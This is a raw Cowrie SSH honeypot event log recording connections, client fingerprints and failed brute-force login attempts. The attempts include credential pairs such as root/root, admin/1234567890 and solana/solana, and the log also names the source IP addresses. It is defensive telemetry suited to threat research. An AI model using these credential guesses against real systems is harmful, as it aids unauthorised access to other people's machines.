{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.345268Z","src_ip":"64.89.160.207","session":"83a72b88210b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:13.649287Z","src_ip":"64.89.160.207","session":"83a72b88210b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:14.740491Z","src_ip":"64.89.160.207","session":"83a72b88210b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.142.209.138","src_port":24362,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a9da7322aeb","protocol":"ssh","message":"New connection: 83.142.209.138:24362 (10.17.0.5:22) [session: 9a9da7322aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.079319Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.084867Z","src_ip":"83.142.209.138","session":"9a9da7322aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56874,"dst_ip":"159.203.135.109","dst_port":22,"session":"178bbffc0040","protocol":"ssh","message":"New connection: 152.42.212.128:56874 (159.203.135.109:22) [session: 178bbffc0040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.180017Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.186229Z","src_ip":"152.42.212.128","session":"178bbffc0040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.190373Z","src_ip":"152.42.212.128","session":"178bbffc0040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.142.209.138","src_port":24372,"dst_ip":"10.17.0.5","dst_port":22,"session":"9996a295a076","protocol":"ssh","message":"New connection: 83.142.209.138:24372 (10.17.0.5:22) [session: 9996a295a076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.255849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.260715Z","src_ip":"83.142.209.138","session":"9996a295a076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.349508Z","src_ip":"83.142.209.138","session":"9996a295a076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:23.532131Z","src_ip":"83.142.209.138","session":"9996a295a076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:24.625365Z","src_ip":"83.142.209.138","session":"9996a295a076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46654,"dst_ip":"159.203.135.109","dst_port":22,"session":"65979daca848","protocol":"ssh","message":"New connection: 185.236.22.41:46654 (159.203.135.109:22) [session: 65979daca848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:26.411317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:26.417043Z","src_ip":"185.236.22.41","session":"65979daca848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:26.558869Z","src_ip":"185.236.22.41","session":"65979daca848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty01","message":"login attempt [root/qwerty01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:27.016895Z","src_ip":"185.236.22.41","session":"65979daca848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:28.198369Z","src_ip":"185.236.22.41","session":"65979daca848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45514,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49bc4984453","protocol":"ssh","message":"New connection: 80.94.92.184:45514 (159.203.135.109:22) [session: e49bc4984453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:29.926520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:30.167629Z","src_ip":"80.94.92.184","session":"e49bc4984453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:30.171935Z","src_ip":"80.94.92.184","session":"e49bc4984453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:31.441565Z","src_ip":"80.94.92.184","session":"e49bc4984453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:32.550029Z","src_ip":"80.94.92.184","session":"e49bc4984453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":54396,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf00ae99c45","protocol":"ssh","message":"New connection: 193.37.70.224:54396 (10.17.0.5:22) [session: fdf00ae99c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:47.529879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:47.535334Z","src_ip":"193.37.70.224","session":"fdf00ae99c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:47.625629Z","src_ip":"193.37.70.224","session":"fdf00ae99c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty555","message":"login attempt [root/qwerty555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:47.895342Z","src_ip":"193.37.70.224","session":"fdf00ae99c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:48.988075Z","src_ip":"193.37.70.224","session":"fdf00ae99c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":65140,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfaafe304dc","protocol":"ssh","message":"New connection: 79.127.181.44:65140 (10.17.0.5:22) [session: 0dfaafe304dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:59.567352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:59.779357Z","src_ip":"79.127.181.44","session":"0dfaafe304dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:59.986928Z","src_ip":"79.127.181.44","session":"0dfaafe304dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:24:59.992351Z","src_ip":"79.127.181.44","session":"0dfaafe304dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f8d33f91341","protocol":"ssh","message":"New connection: 87.251.79.125:54096 (10.17.0.5:22) [session: 9f8d33f91341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:01.060123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:01.065583Z","src_ip":"87.251.79.125","session":"9f8d33f91341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:01.137565Z","src_ip":"87.251.79.125","session":"9f8d33f91341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldinho","message":"login attempt [root/ronaldinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:01.368641Z","src_ip":"87.251.79.125","session":"9f8d33f91341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:02.445643Z","src_ip":"87.251.79.125","session":"9f8d33f91341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":8124,"dst_ip":"10.17.0.5","dst_port":22,"session":"b289ea09a312","protocol":"ssh","message":"New connection: 68.235.52.99:8124 (10.17.0.5:22) [session: b289ea09a312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.358885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.364129Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.396926Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:8b:e5:5f:1b:0c:c9:4a:68:9b:4f:d3:71:b5:64:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyz6MoHTxhKV8AW9PJxIQhZ4HYkFAkfUoMx4Wu0DSKPkG+t6DEGRSFkd40gORZ4BSES8nvcI/eBC52ThT28cjXCD3b7uwnLM724G6W4eAmxB9Djr8RmBEci8xGda/boFwgYQWpGZCROUNwWb3lpyael58wRDma+gMESBq/ICWcTc9I06LCYczAQbFWOLTWR1gAYUGDUdCZqAI2uMuoTRrxAHa2ZPTiCm66WCwTzb13ld3D7XiRW3xaM+4sIghj/tr2YfxjQdVfDR5wgzXphmLoyDjN8rMU3AnJYEtD2bTKXtR5kjCM+K4xTN0lvhycdPSABZDM+3H4Q1ZiRaxgqrmF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:8b:e5:5f:1b:0c:c9:4a:68:9b:4f:d3:71:b5:64:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.522149Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
